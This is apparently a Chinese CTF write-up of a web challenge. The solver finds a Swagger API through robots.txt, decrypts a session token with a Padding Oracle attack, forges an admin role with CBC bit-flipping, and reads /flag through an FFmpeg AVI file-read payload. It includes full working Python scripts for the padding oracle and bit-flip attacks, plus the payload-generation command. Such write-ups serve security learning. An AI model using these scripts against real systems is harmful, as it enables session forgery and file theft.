考点:
- 敏感文件泄露(Robots.txt)
- Padding Oracle 明文推断 & CBC 翻转攻击
- FFMpeg 任意文件读取漏洞
步骤:
1.打开靶机发现是一个管理后台。
2.审计页面源码,发现其中有一个不寻常的 Meta,似乎是设置 Cookie 的。先留着。
3.扫描敏感文件,发现 robots.txt 里有内容,提供了一个地址 /swagger_ui.html。
4.打开 swagger_ui.html 看看,发现是 swagger 生成的对外暴露的 API 列表。
5.点开看看,这里有介绍 API 的具体用法。
6.点击右上角的 Try it out,可以来测试一下 API,但这里地址是内网地址,所以测试不了。
7.所以还是自己替换地址,构造一个注册请求试试吧。
8.然后到主界面尝试登录,未果,提示权限不足。
9.在登录的过程中抓包看看,发现其先请求了 /frontend/api/v1/user/login 这个地址,获得了 Token 之后,将 Token 当做 Key 放在请求头里去访问 /frontend/api/v1/user/info 获取用户信息,这里有个角色,3 代表了权限不够的普通用户。
10.我们来对刚才拿到的那段 Key 做个分析。
eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9
推测其为 base64,将其解码后结果如下,
{"signed_key":"SUN4a1NpbmdEYW5jZVJhUFmsrT7kaF3QW/ooX7UqTigmyMYy0QY+TeK32kxFeoxk/Y6y3hm/hBW+iLiuKvsMKSO+VPCJFI7OlrS/Gla8VZhuczv5+8v3WrCIHNSmRNKlAF4DvR6l0RlUZj0zZ83XiA==","role":3,"user_id":1,"payload":"wlu5E07ZbGzT45QPHNG5QyJPOe2650jX","expire_in":1556853638}
11.再对上面解码出来的数据里的 signed_key 做个解码。
SUN4a1NpbmdEYW5jZVJhUFmsrT7kaF3QW/ooX7UqTigmyMYy0QY+TeK32kxFeoxk/Y6y3hm/hBW+iLiuKvsMKSO+VPCJFI7OlrS/Gla8VZhuczv5+8v3WrCIHNSmRNKlAF4DvR6l0RlUZj0zZ83XiA==
base64 解码之后结果如下
ICxkSingDanceRaP乱码
12.前为明文后为乱码,推测前为 IV 后为加密后的密文。推测其为 AES CBC 加密,尝试利用 Padding Oracle 攻击的方法推算其原文。脚本如下,开始测试时返回码很多的时候为 205,推测其为解密失败的返回码,将其设置为不等于 205 时即解密成功。
#!/usr/bin/python2.7
# -*- coding:utf8 -*-
import requests
import base64
import json
host = "127.0.0.1"
port = 8233
def xor(a, b):
return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in range(len(a))])
def padoracle(key):
user_key_decode = base64.b64decode(key)
user_key_json_decode = json.loads(user_key_decode)
signed_key = user_key_json_decode['signed_key']
signed_key_decoed = base64.b64decode(signed_key)
url = "http://" + host + ":" + str(port) + "/frontend/api/v1/user/info"
N = 16
total_plain = ''
for block in range(0, int(len(signed_key) / 16) - 3):
token = ''
get = ""
cipher = signed_key_decoed[16 + block * 16:32 + block * 16]
for i in range(1, N + 1):
for j in range(0, 256):
token = signed_key_decoed[block * 16:16 + block * 16]
padding = xor(get, chr(i) * (i - 1))
c = (chr(0) * (16 - i)) + chr(j) + padding + cipher
token = base64.b64encode(token + c)
user_key_json_decode['signed_key'] = token
header = {'Key': base64.b64encode(json.dumps(user_key_json_decode))}
res = requests.get(url, headers=header)
if res.json()['code'] != 205:
get = chr(j ^ i) + get
break
plain = xor(get, signed_key_decoed[block * 16:16 + block * 16])
total_plain += plain
return total_plain
plain_text = padoracle("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9")
print(plain_text)
解密成功,原文如下:
{"role":3,"user_id":1,"payload":"wlu5E07ZbGzT45QPHNG5QyJPOe2650jX","expire_in":1556853638}
13.再尝试用 CBC 翻转攻击将明文里的 role 变为其他数字,比如 1 试试。在第一个区块,所以挺好操作的。同时注意我们密文里修改了,明文里的 user_role 也得修改。脚本如下。
#!/usr/bin/python2.7
# -*- coding:utf8 -*-
import requests
import base64
import json
host = "127.0.0.1"
port = 8233
def cbc_attack(key, block, origin_content, target_content):
user_key_decode = base64.b64decode(key)
user_key_json_decode = json.loads(user_key_decode)
signed_key = user_key_json_decode['signed_key']
cipher_o = base64.b64decode(signed_key)
if block > 0:
iv_prefix = cipher_o[:block * 16]
else:
iv_prefix = ''
iv = cipher_o[block * 16:16 + block * 16]
cipher = cipher_o[16 + block * 16:]
iv_array = bytearray(iv)
for i in range(0, 16):
iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i])
iv = bytes(iv_array)
user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher)
return base64.b64encode(json.dumps(user_key_json_decode))
def get_user_info(key):
r = requests.post("http://" + host + ":" + str(port) + "/frontend/api/v1/user/info", headers = {"Key": key})
if r.json()['code'] == 100:
print("获取成功!")
return r.json()['data']
def modify_role_palin(key, role):
user_key_decode = base64.b64decode(user_key)
user_key_json_decode = json.loads(user_key_decode)
user_key_json_decode['role'] = role
return base64.b64encode(json.dumps(user_key_json_decode))
print("翻转 Key:")
user_key = cbc_attack("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9", 0, '{"role":3,"user_', '{"role":1,"user_')
user_key = modify_role_palin(user_key, 1)
print(user_key)
print("测试拉取用户信息:")
user_info = get_user_info(user_key)
print(user_info)
运行,可以看到翻转成功了,
14.再回到登录页面,将翻转后的 Key 设置成 Cookie。根据第二步审计源码的结果,Cookie 名应为 Key。
刷新一下页面,发现可以进去了。
15.然后浏览一下系统里的功能。发现音视频管理这里有个文件上传。
16.上传不同类型的文件,下载上传后靶机上的文件,比对前后的 MD5,发现其对 avi 类型的视频文件有处理。
17.推测其后端利用了 FFMpeg 对视频文件做处理,那么就尝试利用 FFMpeg 的漏洞来读取文件。这里我们使用 https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py 来生成 payload。
执行如下命令。
python3 gen_xbin_avi.py file:///flag test.avi
意思是让靶机收到这个 avi 文件之后用 FFMpeg 处理时去读取 /flag 文件。
18.上传 test.avi,再把处理后的文件下载下来。
19.播放这个视频文件,看到第一帧,里面有 /flag 的内容。
20.Flag 到手~